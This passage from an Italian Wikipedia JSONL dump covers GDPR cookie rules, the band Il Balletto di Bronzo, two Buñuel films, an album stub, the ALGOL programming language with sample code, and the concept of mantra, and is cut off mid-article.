pagina singola. I browser non possono gestire consensi differenti in base ai diversi siti (per cui sarebbe un\u2019accettazione di tutti i cookie o di nessuno) e non possono inoltre fornire il \"Formato della prova\" (il salvataggio dei consensi) cos\u00ec come richiesto dal GDPR. Alla luce di nessun nuovo sviluppo di questa proposta da parte della Commissione Europea, i gestori dei siti web dovranno attenersi a quanto richiesto dal GDPR.\nCosa cambia rispetto alla legislazione attuale.\nNel caso di un sito con la presenza di soli cookie tecnici/funzionali (shopping cart, selezione lingua, preferenze) e/o di cookie di statistica di prima parte (es. Matomo e simili): rimane tutto come \u00e8 ora e quindi non \u00e8 necessario avere un cookie banner, il blocco preventivo dei cookie prima del consenso e il salvataggio dei consensi (\"formato della prova)\".\nIn questo caso rientrano anche i cookie di statistica di terza parte come Google Analytics con IP anonimizzato in modo tale che non possa essere ricostruito l\u2019indirizzo IP con tecniche di \u201creverse engineering\u201d. Utilizzando Google Analytics bisogna quindi disattivare la condivisione dei dati con gli altri prodotti/servizi Google, altrimenti si rientra nel caso successivo.\nNel caso di presenza di altri tipi di cookie, e quindi quelli pubblicitari (Google Adsense, DoubleClick, retargeting, ecc) e tutti gli altri di terze parti (Social Network, YouTube, ecc) oltre al cookie banner il GDPR richiede:"}
{"id": "26593", "revid": "842", "url": "https://it.wikipedia.org/wiki?curid=26593", "title": "Portable document format", "text": ""}
{"id": "26596", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26596", "title": "Balletto di Bronzo", "text": "Il Balletto di Bronzo \u00e8 un gruppo musicale italiano di rock progressivo formatosi a Napoli alla fine degli anni sessanta.\nStoria.\nAnni settanta.\nNel 1967 si formano a Napoli i Battitori Selvaggi, gruppo che suona musica beat fondato da Raffaele Cascone, futuro DJ di \"Per voi giovani\" e amico di Edoardo Bennato (a cui quest'ultimo dedicher\u00e0 \"Vender\u00f2\"). Il gruppo \u00e8 costituito, oltre che da Cascone (chitarra), da Michele Cupaiolo (basso), da Marco Cecioni (voce) e da Giancarlo Stinga (batteria). Cascone lascia poco dopo, e il gruppo ingaggia il chitarrista Lino Ajello, proveniente dai Volti di Pietra, altro gruppo partenopeo, e decide di cambiare nome ispirandosi al quadro \"Bronze Ballet\", dipinto nel 1940 da Edward Wadsworth e conservato alla Tate Gallery di Londra.\nCon questa formazione il gruppo riesce ad avere un contratto con la ARC, per la quale pubblica nel 1969 il 45 giri \"Neve Calda\", ancora influenzato dal beat ma con una sonorit\u00e0 che tende al rock duro.\nL'anno successivo viene pubblicato dalla RCA il primo album, \"Sirio 2222\" (anticipato dal singolo \"S\u00ec mama mama\", che non viene inserito nell'LP), un disco ancora legato alle sonorit\u00e0 tardo-beat dell'epoca, ma con accenni blues (nell'ecologica \"Un posto\" e in \"Incantesimo\"), hard rock (in \"Un posto\") e progressive (\"Meditazione\" e, soprattutto, la mini suite \"Missione Sirio 2222\"). Lo strumento che spicca \u00e8 sicuramente la chitarra di Ajello, artefice del suono \"sporco\" che caratterizza alcune parti del disco. Uno dei brani contenuti nel disco, \"Ti risveglierai con me\", composto da Piero Umiliani, \u00e8 inserito nella colonna sonora del film 5 bambole per la luna d'agosto. L'album, scarsamente pubblicizzato, passa del tutto inosservato e la RCA non rinnova il contratto alla band.\nNell'inverno del 1971 entra nel gruppo il giovane e talentuoso tastierista Gianni Leone (proveniente dai Citt\u00e0 Frontale). Il gruppo nella formazione a cinque passa alla Polydor, lasciandosi definitivamente alle spalle l'impronta beat. La svolta imposta da Leone crea i primi malumori nel gruppo, ed escono dalla formazione Cupaiolo e Cecioni. Quest'ultimo si trasferisce in Svezia, aprendo una strada che successivamente accomuner\u00e0 altri membri del gruppo. Nel frattempo Leone e Stinga collaborano con Adriano Celentano, suonando nell'album \"I mali del secolo\". Sostituito il bassista con il romano Vito Manzari, il quartetto pubblica nell'estate del 1972 il secondo album, \"Ys\", disco complesso e difficile, che coniuga sonorit\u00e0 classicheggianti ad uno stile musicale ancora pi\u00f9 duro, molto distante dal precedente lavoro.\nIl concept album \u00e8 ispirato a un racconto medievale francese (\"L'Histoire d'YS\") di derivazione celtica. Il demiurgo del disco \u00e8 proprio l'organista Leone, impegnato anche al canto, che si avvale di un gran numero di tastiere per creare un suggestivo tappeto sonoro che ripropone le atmosfere cupe e misteriose dell'immaginario medievale. Anche il resto del gruppo fornisce una prova notevole. I testi surreali raccontano della sorte dell'ultimo uomo superstite sulla Terra che, venuto a conoscenza della verit\u00e0 da una voce, \u00e8 costretto a vagare disperato per tramandarla ad almeno un altro essere umano vivente. Il compito si rivela impossibile anche a causa di un'entit\u00e0 soprannaturale che lo priva uno alla volta dei sensi fino a condurlo alla morte, e neanche tra le braccia di quest'ultima sar\u00e0 in grado di parlare.\nL'album riscuote un buon successo di critica anche oltre confine, anche grazie alla buona promozione della Polydor. Il gruppo \u00e8 tra i pi\u00f9 richiesti della scena progressive, e partecipa con successo a molte rassegne tra le quali il raduno \"Davoli Pop\" di Reggio Emilia, il \"Be-In\" di Napoli e la \"Controcanzonissima\" organizzata dalla rivista Ciao 2001. Il gruppo si mette al lavoro per realizzare il terzo album, vivendo per un po' tutti insieme in un cascinale a San Martino Monte l'Abate, nei dintorni di Rimini, quando inaspettatamente nel settembre 1973 annuncia lo scioglimento. Avendo ancora degli obblighi contrattuali con la Polydor, Leone e Stinga incidono ancora un 45 giri, contenente \"La tua casa comoda\" e \"Donna Vittoria\", pubblicato a nome del gruppo (in copertina vi \u00e8 una foto dei quattro, anche se Manzari e Ajello non hanno preso parte alle incisioni). Il brano strumentale del lato B deve il titolo alla moglie dell'allora Presidente della repubblica Giovanni Leone.\nL'istrionico tastierista si trasferisce negli Stati Uniti per intraprendere la carriera solista sotto il nome di LeoNero, incidendo nel 1975 un album a New York (ma pubblicato della EMI nel '77) in cui suona lui stesso tutti gli strumenti, un secondo album a Los Angeles nel 1980, pi\u00f9 alcuni singoli, ottenendo un seguito soprattutto in Giappone.. Lino Ajello e Gianchi Stinga, trasferitisi anch'essi in Svezia, aprono uno studio di registrazione, l'Hulman, al centro di Stoccolma, che sar\u00e0 frequentato anche dai Roxette e gli Europe. Manzari resta ancora per qualche anno nell'ambiente musicale come turnista, suonando tra gli altri con Domenico Modugno, Alan Sorrenti e Nada.\nAnni novanta e 2000.\nNel 1990 la rivista musicale Raro! pubblica un disco, \"Il re del castello\", che racchiude alcune incisioni della prima formazione del gruppo, risalenti al periodo 1969-1970: per la precisione alcuni brani registrati durante le session di \"Sirio 2222\" ma non inclusi nell'album (\"Accidenti\", \"Il re del castello\" e una versione strumentale di \"Neve calda\") e quattro canzoni incise in spagnolo (tra cui una cover di \"Eternit\u00e0\" dei Camaleonti).\nNel 1995 Gianni Leone tenta di riorganizzare la formazione di \"Ys\", ma si imbatte nel disinteresse degli altri membri originali. Pertanto, resuscita l'antico nome attorno a un trio completato da Romolo Amici al basso e Ugo Vantini alla batteria, entrambi ex componenti dei Divae, band romana di new prog che aveva ospitato il tastierista nel proprio esordio discografico (\"Determinazione\", del 1995). Con questa formazione si dedica a un'intensa attivit\u00e0 dal vivo documentata dall'ottimo album dal vivo \"Trys\", contenente l'inedito \"Technoage\". Successivamente, Amici lascer\u00e0 la band, seguito subito dopo da Vantini, che entrer\u00e0 negli Ezra Winston e poi fonder\u00e0 il gruppo VU\u2192Meters. Da allora, il gruppo registrer\u00e0 continui cambi di organico (ma sempre attestandosi sull'ormai consolidata formula del trio), riscontrando comunque sempre un grande successo di pubblico, anche a livello internazionale. Infatti, nel 2000, il Balletto di Bronzo \u00e8 stato tra i pochi complessi italiani a partecipare al \"NEARfest\", uno dei principali festival di rock progressivo al mondo.\nNel 2008 viene pubblicato il DVD \"Live in Rome\", edito dalla genovese Black Widow, testimonianza di un concerto romano (con un organico completato da Adolfo Ramundo alla batteria e Marco Capozi al basso) nel quale sono presenti ben 4 inediti: \"Napoli Sotterranea\", \"Deliquio Viola\", \"Certezze fragili\", \"L'Emofago\".\nAlla fine del 2009 \u00e8 stato pubblicato il libro \"Il Balletto di Bronzo e l'idea del delirio organizzato\" di Gianmaria Consiglio, corredato da un CD contenente versioni inedite dal vivo di brani del gruppo e di Gianni Leone solista. Il Balletto di Bronzo attualmente continua a fare concerti, sia in Italia che all'estero, riscuotendo grandissimo successo.\nAnni 2010.\nNel 2011 viene pubblicato dalla BTF - su vinile - \"On the Road to Ys\", che comprende materiale raro e brani dal vivo. Nel 2012 viene pubblicato - su CD - \"On the Road to Ys... and Beyond\", che comprende alcuni brani in pi\u00f9 rispetto alla versione in vinile.\nNel 2013 Lino Ajello e Marco Cecioni, di ritorno da Stoccolma, riformano la loro versione del Balletto di Bronzo con nuovi musicisti, pur lasciando i diritti sull'utilizzo del nome a Gianni Leone.\nIl tastierista partecipa comunque alle registrazioni di \"Cuma 2015 D.C.\", nuovo lavoro in studio che dopo 40 anni vede tre dei componenti storici della formazione riuniti sotto il monicker temporaneo di \"Lino Ajello, Marco Cecioni e Gianni Leone del Balletto Di Bronzo\".\nIl disco esce il 19 febbraio 2016, con il titolo leggermente cambiato in \"Cuma 2016 D.C.\", ed \u00e8 accreditato a \"Il Balletto di Bronzo di Lino Ajello e Marco Cecioni;\" Gianni Leone \u00e8 indicato in copertina come special guest, suonando in tre brani del disco (\"Figlio Dei Fiori, Ordine Disordine,\" che chiude l'album, ed una nuova versione di \"Neve Calda\"). \"Cuma 2016 D.C.\" comunque si discosta dal consueto prog, per abbracciare un robusto hard rock italiano.\nQuesto progetto parallelo al Balletto di Bronzo, denominato \"Il Balletto di Bronzo di Lino Ajello e Marco Cecioni\", si esaurir\u00e0 definitivamente subito dopo la pubblicazione dell'album Cuma 2016 D.C. e non avr\u00e0 pi\u00f9 alcun seguito.\nIl Balletto di Bronzo nella formazione attuale composta da Gianni Leone (tastiere e voce), Riccardo Spilli (batteria) e Ivano Salvatori (basso), continua un'intensa attivit\u00e0 concertistica in Italia e all'estero, specialmente in Giappone e in Messico.\nNel 2020 viene pubblicato, sia su vinile che su CD, \"Official Bootleg\" per la Black Widow, interamente registrato dal vivo.\nAttualmente \u00e8 in preparazione un nuovo album di inediti.\nFormazione.\nAnni settanta e novanta\nMembri passati\nFormazione dal 2013\nMembri passati"}
{"id": "26597", "revid": "842", "url": "https://it.wikipedia.org/wiki?curid=26597", "title": "PDF", "text": ""}
{"id": "26605", "revid": "24", "url": "https://it.wikipedia.org/wiki?curid=26605", "title": "Big blue", "text": ""}
{"id": "26606", "revid": "767487", "url": "https://it.wikipedia.org/wiki?curid=26606", "title": "La via lattea (film 1969)", "text": " La via lattea (\"La Voie lact\u00e9e\") \u00e8 un film del 1969 diretto da Luis Bu\u00f1uel. Impiegando il surrealismo e la narrativa non lineare, il film racconta la storia delle eresie e delle contraddizioni della religione cattolica. Bu\u00f1uel in seguito ha considerato \"La via lattea\" il primo film di una trilogia con \"Il fascino discreto della borghesia\" e \"Il fantasma della libert\u00e0\" per la \"ricerca della verit\u00e0\".\nTrama.\nIl titolo del film \u00e8 tratto da un nome popolare usato per il Cammino di Santiago di Compostela, un percorso usato da pellegrini religiosi verso Santiago de Compostela in Spagna. \u00c8 qui che si ritiene che i resti di San Giacomo fossero sepolti.\nAttraversando Francia e Spagna, Pierre e Jean, due pellegrini sul Cammino di Santiago, incontrano una serie di bizzarri incidenti e di personaggi in costume ed eventi storici, incluse scene della vita di Ges\u00f9, che suscitano discussioni sulla dottrina e sulle eresie cristiane (in particolare priscillianesimo e giansenismo).\nMentre camminano lungo un ciglio della strada in Francia, i due incontrano un uomo con un mantello nero che dice loro di dormire con una prostituta e di avere figli con lei, un esempio della profezia di Osea. Quindi i pellegrini raggiungono una locanda dove trovano un sergente di polizia e un prete che discutono della natura dell'eucaristia e della transustanziazione. Il prete viene portato via dal personale di un vicino ospedale psichiatrico.\nPi\u00f9 tardi, i pellegrini trovano rifugio per la notte in una fattoria, mentre una setta segreta priscilliana si incontra nelle vicinanze. Il loro servizio segreto prevede la ripetizione rituale, una breve dichiarazione di fede, seguita da incontri sessuali tra la congregazione maschile e femminile.\nSuccessivamente, i pellegrini cercano cibo in un ristorante costoso, il cui gerente sta spiegando al suo staff la controversia sulla divinit\u00e0 di Ges\u00f9 Cristo discussa durante il Primo Concilio di Nicea.\nPi\u00f9 tardi, i pellegrini passano accanto a un collegio dove ci sono bambini che si esibiscono in uno spettacolo all'aperto per i loro genitori e insegnanti. Mentre le giovani ragazze recitano eresie e le proclamano come \"anatema\", uno dei pellegrini immagina l'esecuzione di un papa da parte di una banda di rivoluzionari.\nDopo aver maledetto un'auto che passa, questa si schianta poco dopo e l'autista muore. Indagando sul relitto, incontrano uno strano uomo vestito di bianco, forse il Diavolo, che d\u00e0 a uno dei pellegrini le scarpe del morto.\nIn una cappella lungo la strada, i due pellegrini incontrano un gruppo di suore gianseniste, che stanno inchiodando uno dei loro su una croce di legno. All'esterno, un gesuita e un giansenista hanno un duello con la spada, mentre discutono sulle dottrine della predestinazione e della grazia.\nAlla fine, i due pellegrini raggiungono la Spagna, dove accettano di prendersi cura di un asino per altri due uomini. Questi nuovi uomini lasciano i pellegrini in viaggio verso un'abbazia vicina dove osservano la profanazione della tomba di un sacerdote a causa della scoperta di scritti postumi eretici sulla natura della trinit\u00e0. I due uomini proclamano a gran voce che la Divinit\u00e0 non \u00e8 trinitaria e fuggono. Nella foresta, cambiano i vestiti con alcuni cacciatori che nuotano in un lago e distruggono un rosario scoperto in una delle loro tasche.\nPi\u00f9 tardi quella notte, una visione della Vergine Maria appare a loro e restituisce il rosario. I due uomini e i pellegrini originali si incontrano nuovamente in una locanda, dove raccontano a un prete locale della loro recente visione miracolosa. Il sacerdote racconta un altro miracolo, in cui la Vergine Maria assume la forma e i doveri di una suora errante per diversi anni fino a quando la suora non ritorna nel convento come se non se ne fosse mai andata. Pi\u00f9 tardi quella notte, il sacerdote spiega ulteriormente come la verginit\u00e0 della Madonna dovesse essere rimasta intatta sia durante il concepimento spirituale che nella nascita fisica di Ges\u00f9, come \"il sole che penetra in una finestra\".\nAlla periferia di Santiago de Compostela, i due pellegrini incontrano una prostituta che vuole rimanere incinta e d\u00e0 gli stessi nomi ai bambini di quelli previsti dall'uomo nel mantello all'inizio del film.\nNell'ultimo episodio del film, due ciechi incontrano Ges\u00f9 e i suoi discepoli. La loro cecit\u00e0 \u00e8 guarita ma non riescono a capire cosa stanno vedendo.\nEdizione italiana.\nIl film ebbe una premi\u00e8re \"mondiale\" a Torino il 28 febbraio 1969 (tanto che persino in Francia usc\u00ec due settimane dopo, il 15 marzo) presente in sala il produttore Serge Silberman, uscendo poi regolarmente a marzo in tutta Italia. Il doppiaggio fu affidato alla SAS ed \u00e8 l'ultimo in assoluto di Tina Lattanzi.\nPromozione.\nIn testa ai titoli di coda del film \u00e8 scritto:"}
{"id": "26612", "revid": "1577172", "url": "https://it.wikipedia.org/wiki?curid=26612", "title": "L'angelo sterminatore", "text": "L'angelo sterminatore (\"El \u00e1ngel exterminador\") \u00e8 un film del 1962 diretto da Luis Bu\u00f1uel.\nTrama.\nDopo una serata a teatro, una famiglia dell'alta borghesia invita nel proprio palazzo alcuni ospiti per una cena. La servit\u00f9, nonostante la cena con cos\u00ec tanti invitati, se ne va, a parte il maggiordomo. Iniziano ad accadere fatti insoliti: il maggiordomo inciampa con la prima portata, anche se tutti inizialmente pensano a uno scherzo; un posacenere viene, improvvisamente e senza motivo apparente, lanciato contro una finestra; un orso e un gregge di pecore passeggiano indisturbati nel palazzo; dalla borsetta di una signora spuntano due zampe di gallina. Finita la cena, gli invitati si riuniscono in salotto per conversare e ascoltare la musica suonata da un'invitata al pianoforte. Nonostante arrivino le 4 del mattino, nessuno sembra volersi congedare e, senza che nessuno ne parli, gli ospiti trascorrono la notte nel salotto.\nIl mattino dopo, quando ormai gli invitati si decidono ad andarsene, si rendono conto che non riescono ad attraversare la porta, nonostante sia aperta. Il nervosismo e la tensione aumentano. Uno degli ospiti muore e si nasconde il cadavere in un armadio. Il tempo trascorre e anche dall'esterno della casa i tentativi per entrare falliscono uno dopo l'altro. Gli ospiti, sorpresi dai bisogni primari tra cui la fame e la sete, iniziano a sentirsi addosso il peso dei giorni e della frustrazione: iniziano cos\u00ec i litigi e le accuse. L'atmosfera \u00e8 talmente surreale che quando un gregge di pecore attraversa la sala, nessuno ci trova niente di anormale. Sar\u00e0 Letitia a trovare il modo per uscire, cio\u00e8 rimettersi nella posizione in cui si trovavano all'inizio della serata. Usciti dal palazzo si riuniscono tutti in chiesa, ma quando fanno per uscire, non ci riescono. Un altro gregge di pecore entra in chiesa mentre la polizia, all'esterno, disperde una folla di manifestanti.\nRiferimenti culturali.\nNel film \"Midnight in Paris\" il protagonista, Gil, suggerisce una storia su degli invitati, che arrivano a una cena e non riescono ad andarsene, a un perplesso Bu\u00f1uel (interpretato da Adrien de Van), il quale chiede \"Ma perch\u00e9 non riescono ad andarsene? Non capisco.\".\nL'opera e la censura.\nLe tematiche sociologiche espresse da Bu\u00f1uel, tratte da un soggetto di Jos\u00e9 Bergam\u00edn che sosteneva essere ispirato all\"'Apocalisse di Giovanni\", sono in stile onirico e surreale, a indicare le assurdit\u00e0 eccentriche della classe borghese reazionaria, aristocratica e clericale, e pertanto proprio a indicare la perdizione di tutto il genere umano, bloccato e paralizzato nell'anima, prigioniero soprattutto delle sue stesse istituzioni. Secondo l'idea \"iniziale\" di Bu\u00f1uel e Luis Alcoriza si trattava di descrivere e rappresentare surrealisticamente il naufragio psicologico di un'intera classe sociale, la borghesia, e proprio per questo l'opera inizialmente si doveva intitolare \"Los naufragos de la calle Providencia\".\nDa 30 anni di esilio in Messico e dopo aver appena realizzato il film \"Viridiana\" censurato dal regime franchista, il sessantenne Bu\u00f1uel regala al suo Paese un'altra opera di decisa e alta critica nei confronti dell'ordine costituito, sbeffeggiando i riti e le usanze della borghesia. Ma il surrealista Bu\u00f1uel colora il bianco e nero del suo famoso operatore Gabriel Figueroa con i toni della suggestione e della drammaticit\u00e0."}
{"id": "26616", "revid": "110157", "url": "https://it.wikipedia.org/wiki?curid=26616", "title": "Kings of Pop", "text": "Kings of Pop \u00e8 il terzo album dei Home Grown, pubblicato nel 25 giugno 2002."}
{"id": "26618", "revid": "1305772", "url": "https://it.wikipedia.org/wiki?curid=26618", "title": "ALGOL", "text": "ALGOL (abbreviazione di \"ALGOrithmic Language\", ossia linguaggio algoritmico) \u00e8 un linguaggio di programmazione sviluppato nel 1958. In un certo senso fu una reazione al Fortran; introdusse concetti fondamentali come lo stack dei record di attivazione e per certi versi si pu\u00f2 considerare capostipite di una grande famiglia di linguaggi di notevole successo, dal Pascal al C.\nPer una trentina d'anni \u00e8 stato lo standard \"de facto\" con cui si rappresentavano gli algoritmi. L'ALGOL utilizza blocchi di istruzioni delimitati da coppie di \"begin\" ed \"end\" (come il Pascal); \u00e8 stato il primo linguaggio ad usare questa sintassi molto utilizzata anche in didattica: frammenti di sintassi simile all'ALGOL sono tuttora utilizzati a volte come notazione per gli algoritmi chiamata Pidgin Algol.\nEsistono tre versioni ufficiali di ALGOL: ALGOL 58, ALGOL 60 ed ALGOL 68. Di queste, solo ALGOL 60 si \u00e8 diffusa (Niklaus Wirth bas\u00f2 il proprio Algol-W sull'ALGOL 60 prima di cominciare a sviluppare il Pascal). I nomi ufficiali delle versioni di ALGOL sono dovuti all'anno di pubblicazione. L'ALGOL 58 era conosciuto originariamente come IAL (l'acronimo di International Algorithmic Language.)\nStoria.\nL'ALGOL \u00e8 stato sviluppato congiuntamente da un comitato di informatici statunitense ed europeo. Esistono tre differenti sintassi: una sintassi di riferimento, una sintassi per la pubblicazione ed una per l'implementazione. Le differenti sintassi permisero di usare differenti parole chiave e convenzioni per i punti decimali (punti o virgole) a seconda della lingua utilizzata.\nJohn Backus svilupp\u00f2 il metodo di descrizione dei linguaggi di programmazione detto Backus normal form (BNF) specificatamente per l'ALGOL 58. \u00c8 stato rivisto ed ampliato da Peter Naur nella Backus-Naur form per l'ALGOL 60. Sia Backus che Naur fecero parte del comitato che cre\u00f2 l'ALGOL 60. L'ALGOL 60 ispir\u00f2 molti dei linguaggi che seguirono; la citazione canonica a questo proposito \u00e8 dovuta a C. A. R. Hoare: \"ALGOL fu un grande progresso sui suoi successori\". La citazione completa \u00e8: \"Qui c'\u00e8 un linguaggio cos\u00ec avanzato che non \u00e8 solo un miglioramento rispetto ai predecessori ma anche rispetto ai propri successori\" ma l'aforisma \u00e8 pi\u00f9 conosciuto. A volte viene attribuito erroneamente a Edsger Dijkstra, conosciuto per le acute osservazioni, che collabor\u00f2 all'implementazione del primo compilatore per ALGOL 60.\nIl B5000 della Burroughs Corporation ed i suoi successori erano macchine a stack progettate per essere programmate mediante varianti estese dell'ALGOL 60, conosciute come Elliot ALGOL; effettivamente il loro sistema operativo chiamato MCP (Master Control Program) era scritto in Elliot ALGOL fin dal 1961. La Unisys Corporation vende ancora computer che discendono dal B5000, utilizzano l'MCP e supportano vari compilatori di Elliot ALGOL.\nALGOL 60 ufficialmente non possedeva istruzioni di I/O; le varie implementazioni necessariamente dovettero implementarle ma il modo variava da un'implementazione all'altra. ALGOL 68 offr\u00ec invece una completa libreria di istruzioni di \"transput\" (il termine usato da ALGOL 68 per indicare l'Input/Output).\nL'ALGOL 60 era dotato di due modalit\u00e0 di passaggio dei parametri: il pi\u00f9 comune \u00e8 detto passaggio per valore, l'altro chiamato passaggio per nome non \u00e8 mai stato adottato da nessun altro linguaggio di programmazione successivo. Il passaggio per nome aveva alcune limitazioni rispetto al passaggio per riferimento, facendone una caratteristica indesiderata nella progettazione del linguaggio. Per esempio, \u00e8 impossibile con l'ALGOL 60 sviluppare una procedura che scambi i valori di due parametri se i parametri sono passati mediante una variabile intera ed un array indicizzato mediante la stessa variabile intera.\nL'ALGOL 68 \u00e8 stato definito mediante un formalismo chiamato grammatica a due livelli creato da Adriaan van Wijngaarden e dal quale ha preso il nome. Le \"grammatiche di Van Wijngaarden\" utilizzano una grammatica libera dal contesto per generare un insieme infinito di produzioni che permettono di riconoscere un particolare programma in ALGOL 68; sono in grado di esprimere il tipo di richieste che in molti altri standard di linguaggi di programmazione vanno sotto il nome di semantica e devono essere espresse in linguaggio naturale non ambiguo ed in seguito implementati nei compilatori come codice \"ad hoc\" collegato col parser del linguaggio formale.\nEsempio di programma (ALGOL 60).\nIl modo in cui deve essere scritto il testo in grassetto dipende dalla particolare implementazione (es. 'INTEGER' in luogo di 'integer').\n procedure Absmax(a) Size:(n, m) Result:(y) Subscripts:(i, k);\n value n, m; array a; integer n, m, i, k; real y;\n comment The absolute greatest element of the matrix a, of size n by m\n is transferred to y, and the subscripts of this element to i and k;\n begin integer p, q;\n y := 0; i := k := 1;\n for p:=1 step 1 until n do\n for q:=1 step 1 until m do\n if abs(a[p, q]) &gt; y then\n begin y := abs(a[p, q]);\n i := p; k := q\n end\n end Absmax\nHello, world!\nPoich\u00e9 ALGOL 60 non possiede istruzioni di I/O native, non esiste una versione di \"Hello World\" portabile. Il codice seguente pu\u00f2 essere eseguito sull'implementazione di ALGOL per i mainframe Burroughs A-Series ed \u00e8 tratta da questo sito:\n BEGIN\n FILE F (KIND=REMOTE);\n EBCDIC ARRAY E [0:11];\n REPLACE E BY \"HELLO WORLD!\";\n WHILE TRUE DO\n BEGIN\n WRITE (F, *, E);\n END;\n END.\nUn esempio alternativo che utilizza le primitive di I/O dell'Elliott ALGOL \u00e8 presentato qui di seguito. In realt\u00e0 l'Elliott ALGOL usa caratteri differenti per 'inizio-stringa' e 'fine-stringa':\n program HiFolks;\n begin\n print \u2018Hello world\u2019;\n end;"}
{"id": "26621", "revid": "124907349", "url": "https://it.wikipedia.org/wiki?curid=26621", "title": "Mantra", "text": "Mantra (devan\u0101gar\u012b: \u092e\u0928\u094d\u0924\u094d\u0930) \u00e8 un sostantivo sanscrito maschile (raramente neutro) che indica, nel suo significato proprio, il \"veicolo o strumento del pensiero o del pensare\" ovvero un\"espressione sacra\", e corrisponde a un verso del \"Veda\", a una formula sacra indirizzata ad un \"deva\", a una formula mistica o magica, a una preghiera, a un canto sacro o a una pratica meditativa e religiosa.\nLa nozione di \"mantra\" ha origine dalle credenze religiose dell'India ed \u00e8 propria delle culture religiose che vanno sotto il nome di Vedismo, Brahmanesimo, Buddhismo, Giainismo, Induismo e Sikhismo.\nPer mezzo del Buddhismo la nozione e la pratica religiosa del \"mantra\" si sono diffuse lungo tutta l'Asia giungendo in Tibet, in Cina e, attraverso quest'ultima, in Giappone, Corea e Vietnam.\nOrigine del termine \"mantra\" e sua resa in altre lingue asiatiche.\nIl termine \"mantra\" deriva dall'insieme di due termini: il verbo sanscrito \"man\" (VIII classe, nella sua accezione di \"pensare\", da cui \"manas\": \"pensiero\", \"mente\", \"intelletto\" ma anche \"principio spirituale\" o \"respiro\", \"anima vivente\") unito al suffisso \"tra\" che corrisponde all'aggettivo sanscrito \"k\u1e5bt\", (\"che compie\", \"che agisce\").\nUn'etimologia tradizionale fa invece derivare il termine \"mantra\" sempre dal verbo \"man\" ma collegato al sanscrito \"tra\" che, \"in fine compositi\", diviene aggettivo con il significato \"che protegge\", quindi \"pensare, pensiero, che offre protezione\".\nIn altre lingue asiatiche, il termine sanscrito \"mantra\" viene cos\u00ec reso:\nIl \"mantra\" nelle culture religiose vedica e brahmanica.\nNella pi\u00f9 antica letteratura vedica, il \"\u1e5agveda\", il \"mantra\" ha essenzialmente il significato e la funzione di \"invocazione\" ai \"deva\" :\nIn tale accezione, l'inno vedico, o \"mantra\", se \u00e8 metrico e viene recitato a voce alta \u00e8 indicato come \"\u1e5bk\" (e raccolto nel \"\u1e5agveda\"), se invece \u00e8 in prosa e mormorato \u00e8 uno \"yajus\" (e raccolto nello \"Yajurveda\"), se corrisponde ad un canto \u00e8 un \"s\u0101man\" (e raccolto nel \"S\u0101maveda\").\nI \"mantra\" appartenenti al \"\u1e5agveda\" venivano quindi recitati ad alta voce dal sacerdote vedico indicato come \"hot\u1e5b\", quelli appartenenti al \"S\u0101maveda\" venivano intonati dallo \"udg\u0101t\u1e5b\" (ruolo particolare aveva questo sacerdote e i \"mantra\" da lui intonati nel sacrificio del \"soma\"), mentre quelli appartenenti allo \"Yajurveda\" venivano mormorati dall \"adhvaryu\" (sacerdote che ricopriva un ruolo preminente nel periodo dei \"Br\u0101hma\u1e47a\"). Ogni particolare rito sacrificale (\"Yaj\u00f1a\") richiedeva un'accurata scelta dei \"mantra\" necessari, e il loro precipuo scopo era quello di entrare in comunicazione con la o le divinit\u00e0 (\"deva\") prescelte.\nEssendo i \"Veda\" tradizionalmente intesi come non composti da esseri umani (\"apauru\u1e63eya\") bens\u00ec trasmessi ai \"cantori\" delle origini (\"\u1e5b\u1e63i\") all'alba dei tempi, i versi ivi contenuti furono quindi considerati dalle tradizioni induiste, come \"mantra\" \"increati\" ed \"eterni\" che mostravano la vera natura del cosmo.\nI testi risalenti alla fine del secondo millennio a.C. e inerenti al \"S\u0101maveda\", mostrano come l'importanza di questi \"mantra\" non risiedesse tanto nel loro significato quanto piuttosto nella loro sonorit\u00e0. Molti di essi risultano infatti non traducibili e non comprensibili e furono indicati come \"stobha\". Esempio di \"stobha\" sono le parole \"bham\" o \"bh\u0101\" che vengono intonate nel contesto dei versi del \"S\u0101maveda\". Successivamente, nei \"Br\u0101hma\u1e47a\", il \"mantra\" mormorato (\"up\u0101\u1e43\u015bu\") fu considerato superiore a quello enunciato o intonato, e ancora maggiormente superiore il verso silenzioso (\"tu\u1e63\u1e47\u012bm\") o mentale (\"m\u0101nasa\"). In particolare nel \"\u015aatapatha Br\u0101hma\u1e47a\" ci\u00f2 che non \u00e8 possibile definire e che non \u00e8 manifesto (\"anirukta\") rappresenta l'illimitato e l'infinito: queste considerazioni contenute nei \"Br\u0101hma\u1e47a\" forniranno la base teologica delle successive dottrine sulla natura e sulla funzione dei \"mantra\".\nNella tradizione successiva divenne quindi poco importante per coloro che studiavano i \"Veda\" conoscerne il significato quanto piuttosto fu sufficiente memorizzare meticolosamente il testo, con particolare riguardo alla pronuncia e alla sua accentazione. Ci\u00f2 produsse, a partire dal VI secolo a.C., una serie di opere, che vanno sotto il nome collettivo di \"Pr\u0101ti\u015bakhya\", sulla fonetica e sulla retta pronuncia (\"\u015bik\u1e63a\") propria dei \"Veda\" e per questo collocati all'interno del \"Veda\u1e45ga\" (membra, \"a\u1e45ga\", dei \"Veda\").\nI mantra nell'Induismo e nelle tradizioni tantriche.\nLa vita di un devoto hindu \u00e8 pervasa dalla recitazione dei mantra, pratica che lo accompagna in vari momenti della vita e del quotidiano per fini che sono sia sacri (rituali o soteriologici) sia profani (utilitaristici o anche \"magici\"), come per esempio: ottenere la liberazione (\"mok\u1e63a\"); onorare le divinit\u00e0 (\"p\u016bj\u0101\"); acquisire poteri sovrannaturali (\"siddhi\"); comunicare con gli antenati; influenzare le azioni altrui; purificare il corpo; guarire dai mali fisici; assisterlo nei riti; eccetera.\nOgni mantra va \"usato\" nel modo corretto e, a seconda del modo, pu\u00f2 dare differenti risultati:\nQuesti usi e forme dei mantra non appartengono alla tradizione vedica, dove, come si \u00e8 detto, il mantra era un inno recitato dal brahmano durante le cerimonie liturgiche, utilizzato quindi per invocare la divinit\u00e0 o influire magicamente sul mondo, ma sono successivi. \u00c8 soprattutto nell'ambito tantrico (sia induista sia buddhista) che i mantra si sono diffusi e hanno acquisito quei caratteri che oggi in India \u00e8 dato di cogliere. Nelle tradizioni tantriche i mantra associati alle divinit\u00e0 sono considerati la forma fonica della divinit\u00e0 stessa. Altri mantra rappresentano, per esempio, parti del corpo o del cosmo.\nLa pratica dei mantra.\nUn mantra, rigorosamente in lingua sanscrita, pu\u00f2 essere recitato ad alta voce, sussurrato o anche solo enunciato mentalmente, nel silenzio della meditazione, ma sempre con la corretta 